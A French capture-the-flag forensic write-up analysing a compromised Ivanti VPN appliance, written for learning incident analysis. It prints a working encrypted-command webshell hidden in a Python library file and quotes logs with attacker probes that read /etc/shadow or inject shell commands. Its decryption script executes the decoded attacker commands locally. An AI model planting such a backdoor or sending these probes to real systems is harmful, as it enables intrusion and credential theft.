Horreur, malheur 3/5 - Simple persistance

horreur3

Dans cette 3e partie du challenge, nous avons à disposition l'ensemble des éléments des 2 parties précédentes à savoir archive.encrypted et horreur-malheur.tar.xz

Phase 1 - Analyse des fichiers

Tout d'abord, nous allons tout décompresser. Ce qui nous donne l'arbre suivant :

kali@Tyrell:~/FCSC/2024/forensic/Horreur, malheur 3 - Simple persistance/output$ tree
.
├── data
│   └── flag.txt
├── home
│   └── VERSION
└── tmp
    ├── data
    │   └── var
    │       └── dlogs
    │           ├── aaaservices_rest_server.log
    │           ├── aaaservices_rest_server.log.old
    │           ├── cav_webserv.log
    │           ├── cav_webserv.log.old
    │           ├── config_rest_server.log
    │           ├── config_rest_server.log.old
    │           ├── custom_actions_rest_server.log
    │           ├── custom_actions_rest_server.log.old
    │           ├── debuglog
    │           ├── debuglog.old
    │           ├── enduserportal_rest_server.log
    │           ├── enduserportal_rest_server.log.old
    │           ├── esapdata_rest_server.log
    │           ├── esapdata_rest_server.log.old
    │           ├── gwpolicy_rest_server.log
    │           ├── gwpolicy_rest_server.log.old
    │           ├── monrestserver.log
    │           ├── namedusersrestserver.log
    │           ├── namedusersrestserver.log.old
    │           ├── nodemonlog
    │           ├── nodemonlog.old
    │           ├── session_rest_server.log
    │           ├── system_import_debuglog
    │           ├── tasks_rest_server.log
    │           ├── tasks_rest_server.log.old
    │           ├── ueba_webserv.log
    │           └── user_import_debuglog
    ├── home
    │   ├── bin
    │   │   └── configencrypt
    │   └── venv3
    │       └── lib
    │           └── python3.6
    │               └── site-packages
    │                   └── cav-0.1-py3.6.egg
    └── temp-scanner-archive-20240315-065846.tgz

Nous avons ici décompressé aussi l'archive temp-scanner-archive-20240315-065846.tgz qui contient toute cette partie :

kali@Tyrell:~/FCSC/2024/forensic/Horreur, malheur 3 - Simple persistance/output/tmp/home$ tree
.
├── bin
│   └── configencrypt
└── venv3
    └── lib
        └── python3.6
            └── site-packages
                └── cav-0.1-py3.6.egg

Nous allons extraire le contenu du fichier cav-0.1-py3.6.egg :

kali@Tyrell:~/FCSC/2024/forensic/Horreur, malheur 3 - Simple persistance/output/tmp/home/venv3/lib/python3.6/site-packages$ tree
.
├── cav
│   ├── api
│   │   ├── config.py
│   │   ├── __init__.py
│   │   ├── __pycache__
│   │   │   ├── config.cpython-36.pyc
│   │   │   └── __init__.cpython-36.pyc
│   │   └── resources
│   │       ├── applications.py
│   │       ├── auth_token.py
│   │       ├── category.py
│   │       ├── health.py
│   │       ├── __init__.py
│   │       ├── options.py
│   │       ├── policies.py
│   │       ├── __pycache__
│   │       │   ├── applications.cpython-36.pyc
│   │       │   ├── auth_token.cpython-36.pyc
│   │       │   ├── category.cpython-36.pyc
│   │       │   ├── __init__.cpython-36.pyc
│   │       │   ├── options.cpython-36.pyc
│   │       │   ├── policies.cpython-36.pyc
│   │       │   ├── reports.cpython-36.pyc
│   │       │   ├── roles.cpython-36.pyc
│   │       │   ├── stats.cpython-36.pyc
│   │       │   ├── status.cpython-36.pyc
│   │       │   └── threatprint.cpython-36.pyc
│   │       ├── reports.py
│   │       ├── roles.py
│   │       ├── stats.py
│   │       ├── status.py
│   │       ├── threatprint.py
│   │       └── visits.py
│   ├── __init__.py
│   ├── models
│   │   ├── authtoken.py
│   │   ├── base.py
│   │   ├── category_list.py
│   │   ├── category.py
│   │   ├── __init__.py
│   │   ├── __pycache__
│   │   │   ├── authtoken.cpython-36.pyc
│   │   │   ├── base.cpython-36.pyc
│   │   │   ├── category.cpython-36.pyc
│   │   │   ├── category_list.cpython-36.pyc
│   │   │   ├── __init__.cpython-36.pyc
│   │   │   ├── tp_version.cpython-36.pyc
│   │   │   └── visits.cpython-36.pyc
│   │   ├── tp_version.py
│   │   └── visits.py
│   ├── __pycache__
│   │   └── __init__.cpython-36.pyc
│   ├── scripts
│   │   ├── __init__.py
│   │   ├── __pycache__
│   │   │   ├── __init__.cpython-36.pyc
│   │   │   └── rest_server.cpython-36.pyc
│   │   └── rest_server.py
│   └── utils
│       ├── gevent_util.py
│       ├── __init__.py
│       ├── policy.py
│       ├── __pycache__
│       │   ├── gevent_util.cpython-36.pyc
│       │   ├── __init__.cpython-36.pyc
│       │   ├── policy.cpython-36.pyc
│       │   ├── session.cpython-36.pyc
│       │   ├── threatprint.cpython-36.pyc
│       │   └── util.cpython-36.pyc
│       ├── session.py
│       ├── threatprint.py
│       └── util.py
├── cav-0.1-py3.6.egg
└── EGG-INFO
    ├── dependency_links.txt
    ├── entry_points.txt
    ├── PKG-INFO
    ├── SOURCES.txt
    ├── top_level.txt
    └── zip-safe

Nous avons affaire ici à une librairie python. Recherchons sur internet de quoi il s'agit :

https://forums.ivanti.com/s/article/Recovery-Steps-Related-to-CVE-2023-46805-and-CVE-2024-21887?language=fr

Nous tombons bien sur les CVEs trouvées lors de la partie précédente de ce challenge.

Cette librairie est donc la librairie fautive concernant l'intrusion dans ce VPN car même Ivanti parle de webshell en son sein. Analysons un peu les fichiers qu'elle contient.

En recherchant sur internet à partir du nom de ce fichier, nous tombons aussi sur cet article très intéressant qui nous parle de webshell dans la librairie cav :

https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation

Et plus particulièrement le fichier /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py. Allons voir ce qu'il contient :

#
# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved
#
import base64
import subprocess
import zlib
import simplejson as json
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad, unpad
from flask import request
from flask_restful import Resource


class Health(Resource):
    """
    Handles requests that are coming for client to post the application data.
    """

    def get(self):
        try:
            with open("/data/flag.txt", "r") as handle:
                dskey = handle.read().replace("\n", "")
            data = request.args.get("cmd")
            if data:
                aes = AES.new(dskey.encode(), AES.MODE_ECB)
                cmd = zlib.decompress(aes.decrypt(base64.b64decode(data)))
                result = subprocess.getoutput(cmd)
                if not isinstance(result, bytes): result = str(result).encode()
                result = base64.b64encode(aes.encrypt(pad(zlib.compress(result), 32))).decode()        
                return result, 200
        except Exception as e:
            return str(e), 501

Nous avons ici effectivement quelque chose d'intéressant. Si on analyse ce code :

  • Il ouvre le fichier /data/flag.txt en lecture seule
  • Il récupère le paramètre GET cmd de la requête HTTP dans une variable data
  • Il initialise un objet AES (qui est un objet permettant de manipuler le chiffrement de l'algorithme du même nom) pour pouvoir chiffrer/dechiffrer une chaîne de caractères en utilisant le fichier /data/flag.txt comme clé de chiffrement
  • Il décode en base 64 le contenu de data précédemment récupéré, il déchiffre le résultat et le décompresse et le stocke dans une variable cmd
  • Il execute la commande injectée contenue dans cmd et récupère son contenu dans une variable result
  • Ensuite le programme compresse le résultat de result, le chiffre avec la même clé qui a servi à l'initialisation de l'objet AES, l'encode en base 64 et récupère le resultat dans cette même variable (result)
  • Il retourne le résultat avec un code HTTP 200.

Concrètement, ce programme permet donc d'injecter et exécuter une commande sur une route HTTP de manière encodée, chifrée, compressée, et d'en récupérer le résultat de la même manière.

Phase 2 - Analyse des logs

Nous allons essayer de trouver quelque part dans les logs, la route qui a permis d'injecter du code et d'en récupérer le resultat en cherchant le paramètre cmd découvert plus haut dans le code source python analysé :

kali@Tyrell:~/FCSC/2024/forensic/Horreur, malheur 3 - Simple persistance/tmp/data/var/dlogs$ grep "?cmd" *
cav_webserv.log:[pid: 22150|app: 0|req: 5168/14352] 172.18.0.4 () {26 vars in 474 bytes} [Fri Mar 15 06:35:06 2024] GET /api/v1/cav/client/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22151|app: 0|req: 9383/14671] 172.18.0.4 () {26 vars in 474 bytes} [Fri Mar 15 06:35:08 2024] GET /api/v1/cav/client/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 998)
cav_webserv.log:[pid: 22151|app: 0|req: 9542/14914] 172.18.0.4 () {26 vars in 474 bytes} [Fri Mar 15 06:35:10 2024] GET /api/v1/cav/client/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir => generated 232 bytes in 0 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22151|app: 0|req: 15645/24114] 172.18.0.4 () {32 vars in 557 bytes} [Fri Mar 15 06:36:24 2024] GET /api/v1/cav/client/health?cmd=DjrB3j2wy3YJHqXccjkWidUBniQPmhTkHeiA59kIzfA%3D => generated 47 bytes in 83 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 998)
cav_webserv.log:[pid: 22151|app: 0|req: 15957/24535] 172.18.0.4 () {32 vars in 557 bytes} [Fri Mar 15 06:36:27 2024] GET /api/v1/cav/client/health?cmd=K/a6JKeclFNFwnqrFW/6ENBiq0BnskUVoqBf4zn3vyQ%3D => generated 175 bytes in 74 msecs (HTTP/1.1 200) 2 headers in 72 bytes (3 switches on core 998)
cav_webserv.log:[pid: 22151|app: 0|req: 16618/25571] 172.18.0.4 () {32 vars in 649 bytes} [Fri Mar 15 06:36:36 2024] GET /api/v1/cav/client/health?cmd=/ppF2z0iUCf0EHGFPBpFW6pWT4v/neJ6wP6dERUuBM/6CAV2hl/l4o7KqS7TvTZAWDVxqTd6EansrCTOAnAwdQ%3D%3D => generated 91 bytes in 74 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
cav_webserv.log:[pid: 22150|app: 0|req: 9307/26659] 172.18.0.4 () {32 vars in 649 bytes} [Fri Mar 15 06:36:44 2024] GET /api/v1/cav/client/health?cmd=Lmrbj2rb7SmCkLLIeBfUxTA2pkFQex/RjqoV2WSBr0EyxihrKLvkqPKO3I7KV1bhm8Y61VzkIj3tyLKLgfCdlA%3D%3D => generated 1755 bytes in 80 msecs (HTTP/1.1 200) 2 headers in 73 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22150|app: 0|req: 9690/27957] 172.18.0.4 () {32 vars in 821 bytes} [Fri Mar 15 06:36:54 2024] GET /api/v1/cav/client/health?cmd=yPfHKFiBi6MxfKlndP99J4eco1zxfKUhriwlanMWKE3NhhHtYkSOrj4QZhvf6u17fJ%2B74TvmsMdtYH6pnvcNZOq3JRu2hdv2Za51x82UYXG1WpYtAgCa42dOx/deHzAlZNwM7VvCZckPLfDeBGZyLHX/XP4spz4lpfau9mZZ%2B/o%3D => generated 47 bytes in 479 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 998)
cav_webserv.log:[pid: 22151|app: 0|req: 19876/30291] 172.18.0.4 () {32 vars in 725 bytes} [Fri Mar 15 06:37:13 2024] GET /api/v1/cav/client/health?cmd=E1Wi18Bo5mPNTp/CaB5o018KdRfH2yOnexhwSEuxKWBx7%2Byv4YdHT3ASGAL67ozaoZeUzaId88ImfFvaPeSr6XtPvRqgrLJPl7oH2GHafzEPPplWHDPQQUfxsYQjkbhT => generated 47 bytes in 76 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
cav_webserv.log:[pid: 22151|app: 0|req: 21170/32168] 172.18.0.4 () {32 vars in 825 bytes} [Fri Mar 15 06:37:28 2024] GET /api/v1/cav/client/health?cmd=7JPshdVsmVSiQWcRNKLjY1FkPBh91d2K3SUK7HrBcEJu/XbfMG9gY/pTNtVhfVS7RXpWHjLOtW01JKfmiX/hOJQ8QbfXl2htqcppn%2BXeiWHpCWr%2ByyabDservMnHxrocU4uIzWNXHef5VNVClGgV4JCjjI1lofHyrGtBD%2B0nZc8%3D => generated 47 bytes in 353 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
cav_webserv.log:[pid: 22151|app: 0|req: 25255/38365] 172.18.0.4 () {26 vars in 516 bytes} [Fri Mar 15 06:38:19 2024] GET /api/v1/cav/client/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;echo%20$((854625-1));echo%20ffffffffffffffff; => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22151|app: 0|req: 25408/38646] 172.18.0.4 () {26 vars in 516 bytes} [Fri Mar 15 06:38:21 2024] GET /api/v1/cav/client/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;echo%20$((854625-1));echo%20ffffffffffffffff; => generated 232 bytes in 0 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 997)
cav_webserv.log:[pid: 22150|app: 0|req: 13336/38893] 172.18.0.4 () {26 vars in 516 bytes} [Fri Mar 15 06:38:23 2024] GET /api/v1/cav/client/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;echo%20$((854625-1));echo%20ffffffffffffffff; => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 998)
cav_webserv.log:[pid: 22150|app: 0|req: 13730/40274] 172.18.0.4 () {32 vars in 653 bytes} [Fri Mar 15 06:37:41 2024] GET /api/v1/cav/client/health?cmd=WzAd4Ok8kSOF8e1eS6f8rdGE4sH5Ql8injexw36evBw/mHk617VRAtzEhjXwOZyR/tlQ20sgz%2BJxmwQdxnJwNg%3D%3D => generated 47 bytes in 53732 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 997)
cav_webserv.log:[pid: 22151|app: 0|req: 28123/42351] 172.18.0.4 () {32 vars in 557 bytes} [Fri Mar 15 06:38:51 2024] GET /api/v1/cav/client/health?cmd=G9QtDIGXyoCA6tZC6DtLz89k5FDdQNe2TfjZ18hdPbM%3D => generated 47 bytes in 73 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22151|app: 0|req: 29153/43658] 172.18.0.4 () {32 vars in 565 bytes} [Fri Mar 15 06:39:01 2024] GET /api/v1/cav/client/health?cmd=QV2ImqgrjrL7%2BtofpO12S9bqgDCRHYXGJwaOIihb%2BNI%3D => generated 91 bytes in 72 msecs (HTTP/1.1 200) 2 headers in 71 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22150|app: 0|req: 18593/57844] 172.18.0.4 () {26 vars in 470 bytes} [Fri Mar 15 06:40:31 2024] GET /api/v1/cav/client/web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22151|app: 0|req: 39467/58138] 172.18.0.4 () {26 vars in 470 bytes} [Fri Mar 15 06:40:33 2024] GET /api/v1/cav/client/web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr => generated 232 bytes in 0 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22150|app: 0|req: 18775/58464] 172.18.0.4 () {26 vars in 446 bytes} [Fri Mar 15 06:40:35 2024] GET /api/v1/cav/client/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow => generated 232 bytes in 0 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22150|app: 0|req: 18798/58529] 172.18.0.4 () {26 vars in 470 bytes} [Fri Mar 15 06:40:35 2024] GET /api/v1/cav/client/web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22150|app: 0|req: 18881/58759] 172.18.0.4 () {26 vars in 446 bytes} [Fri Mar 15 06:40:37 2024] GET /api/v1/cav/client/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22151|app: 0|req: 40159/59149] 172.18.0.4 () {26 vars in 446 bytes} [Fri Mar 15 06:40:39 2024] GET /api/v1/cav/client/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22151|app: 0|req: 46297/67750] 172.18.0.4 () {26 vars in 410 bytes} [Fri Mar 15 06:41:31 2024] GET /api/v1/cav/client/stat.jsp?cmd=chcp+437+%7c+dir => generated 232 bytes in 0 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 997)
cav_webserv.log:[pid: 22151|app: 0|req: 46471/68012] 172.18.0.4 () {26 vars in 410 bytes} [Fri Mar 15 06:41:32 2024] GET /api/v1/cav/client/stat.jsp?cmd=chcp+437+%7c+dir => generated 232 bytes in 0 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 997)
cav_webserv.log:[pid: 22151|app: 0|req: 46771/68433] 172.18.0.4 () {26 vars in 410 bytes} [Fri Mar 15 06:41:35 2024] GET /api/v1/cav/client/stat.jsp?cmd=chcp+437+%7c+dir => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log:[pid: 22151|app: 0|req: 48994/71703] 172.18.0.4 () {26 vars in 472 bytes} [Fri Mar 15 06:41:54 2024] GET /api/v1/cav/client/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 997)
cav_webserv.log.old:[pid: 6225|app: 0|req: 109352/219677] 172.18.0.4 () {26 vars in 470 bytes} [Fri Mar 15 06:27:51 2024] GET /api/v1/cav/client/web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log.old:[pid: 6225|app: 0|req: 109430/219830] 172.18.0.4 () {26 vars in 472 bytes} [Fri Mar 15 06:27:51 2024] GET /api/v1/cav/client/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log.old:[pid: 6226|app: 0|req: 110627/220295] 172.18.0.4 () {26 vars in 446 bytes} [Fri Mar 15 06:27:51 2024] GET /api/v1/cav/client/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log.old:[pid: 6226|app: 0|req: 115218/229604] 172.18.0.4 () {26 vars in 410 bytes} [Fri Mar 15 06:27:56 2024] GET /api/v1/cav/client/stat.jsp?cmd=chcp+437+%7c+dir => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 998)
cav_webserv.log.old:[pid: 6225|app: 0|req: 114558/229948] 172.18.0.4 () {26 vars in 474 bytes} [Fri Mar 15 06:27:56 2024] GET /api/v1/cav/client/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log.old:[pid: 6225|app: 0|req: 117392/235627] 172.18.0.4 () {26 vars in 474 bytes} [Fri Mar 15 06:27:59 2024] GET /api/v1/cav/client/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log.old:[pid: 6226|app: 0|req: 125391/250066] 172.18.0.4 () {26 vars in 514 bytes} [Fri Mar 15 06:28:06 2024] GET /api/v1/cav/client/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;echo%20$((854625-1));echo%20ffffffffffffffff; => generated 232 bytes in 0 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log.old:[pid: 6225|app: 0|req: 128532/257725] 172.18.0.4 () {26 vars in 516 bytes} [Fri Mar 15 06:28:10 2024] GET /api/v1/cav/client/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;echo%20$((854625-1));echo%20ffffffffffffffff; => generated 232 bytes in 0 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log.old:[pid: 6225|app: 0|req: 130924/262457] 172.18.0.4 () {26 vars in 516 bytes} [Fri Mar 15 06:28:12 2024] GET /api/v1/cav/client/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;echo%20$((854625-1));echo%20ffffffffffffffff; => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log.old:[pid: 6226|app: 0|req: 133567/266524] 172.18.0.4 () {26 vars in 468 bytes} [Fri Mar 15 06:28:14 2024] GET /api/v1/cav/client/web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log.old:[pid: 6225|app: 0|req: 133185/266979] 172.18.0.4 () {26 vars in 444 bytes} [Fri Mar 15 06:28:14 2024] GET /api/v1/cav/client/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 998)
cav_webserv.log.old:[pid: 6226|app: 0|req: 137284/273944] 172.18.0.4 () {26 vars in 408 bytes} [Fri Mar 15 06:28:18 2024] GET /api/v1/cav/client/stat.jsp?cmd=chcp+437+%7c+dir => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 998)
cav_webserv.log.old:[pid: 6225|app: 0|req: 136767/274155] 172.18.0.4 () {26 vars in 470 bytes} [Fri Mar 15 06:28:18 2024] GET /api/v1/cav/client/web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 998)
cav_webserv.log.old:[pid: 6225|app: 0|req: 136995/274620] 172.18.0.4 () {26 vars in 446 bytes} [Fri Mar 15 06:28:18 2024] GET /api/v1/cav/client/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 998)
cav_webserv.log.old:[pid: 6226|app: 0|req: 139765/278899] 172.18.0.4 () {26 vars in 470 bytes} [Fri Mar 15 06:28:20 2024] GET /api/v1/cav/client/web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log.old:[pid: 6226|app: 0|req: 140001/279360] 172.18.0.4 () {26 vars in 446 bytes} [Fri Mar 15 06:28:21 2024] GET /api/v1/cav/client/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)
cav_webserv.log.old:[pid: 6226|app: 0|req: 141096/281577] 172.18.0.4 () {26 vars in 410 bytes} [Fri Mar 15 06:28:22 2024] GET /api/v1/cav/client/stat.jsp?cmd=chcp+437+%7c+dir => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 998)
cav_webserv.log.old:[pid: 6225|app: 0|req: 142872/286241] 172.18.0.4 () {26 vars in 410 bytes} [Fri Mar 15 06:28:24 2024] GET /api/v1/cav/client/stat.jsp?cmd=chcp+437+%7c+dir => generated 232 bytes in 1 msecs (HTTP/1.1 404) 2 headers in 87 bytes (3 switches on core 999)

Bingo ! On trouve ici pleins d'appels avec des paramètres HTTP GET cmd.

Pour nous faciliter la vie, j'ai créé un script python pour déchiffrer les chaînes encodées en base 64 :

import base64
import subprocess
import zlib
from Crypto.Cipher import AES

dskey = "50c53be3eece1dd551bebffe0dd5535c"
data = "DjrB3j2wy3YJHqXccjkWidUBniQPmhTkHeiA59kIzfA="
data = "K/a6JKeclFNFwnqrFW/6ENBiq0BnskUVoqBf4zn3vyQ="
data = "/ppF2z0iUCf0EHGFPBpFW6pWT4v/neJ6wP6dERUuBM/6CAV2hl/l4o7KqS7TvTZAWDVxqTd6EansrCTOAnAwdQ=="
if data:
    aes = AES.new(dskey.encode(), AES.MODE_ECB)
    cmd = zlib.decompress(aes.decrypt(base64.b64decode(data)))
    result = subprocess.getoutput(cmd)
    print(result)

Sur le même principe que ce que l'on a découvert dans le script python health.py:

  • On importe toutes les librairies que l'on a besoin (je ne rentre pas dans le détail)
  • On initialise une variable dskey avec le contenu du fichier flag.txt (qui, accessoirement, correspond au mot de passe de l'archive et au flag de la première partie de ce challenge)
  • On a plusieurs fois data initialisé car j'ai fonctionné en itération. J'ai testé chaque chaîne en base 64 une à une avant de tomber sur la bonne.
  • On initialise un objet AES (comme pour halth.py)
  • On récupère la ligne de code pour déchiffrer le contenu de cmd dans result
  • On affiche ce qu'il contient

Dans ce code, seul data = "/ppF2z0iUCf0EHGFPBpFW6pWT4v/neJ6wP6dERUuBM/6CAV2hl/ sera décodé (car initialisé en dernier)

/home/kali/FCSC/2024/venv/bin/python /home/kali/FCSC/2024/forensic/Horreur, malheur 3 - Simple persistance/decrypt.py 
FCSC{6cd63919125687a10d32c4c8dd87a5d0c8815409}

Le flag : FCSC{6cd63919125687a10d32c4c8dd87a5d0c8815409}

lolcat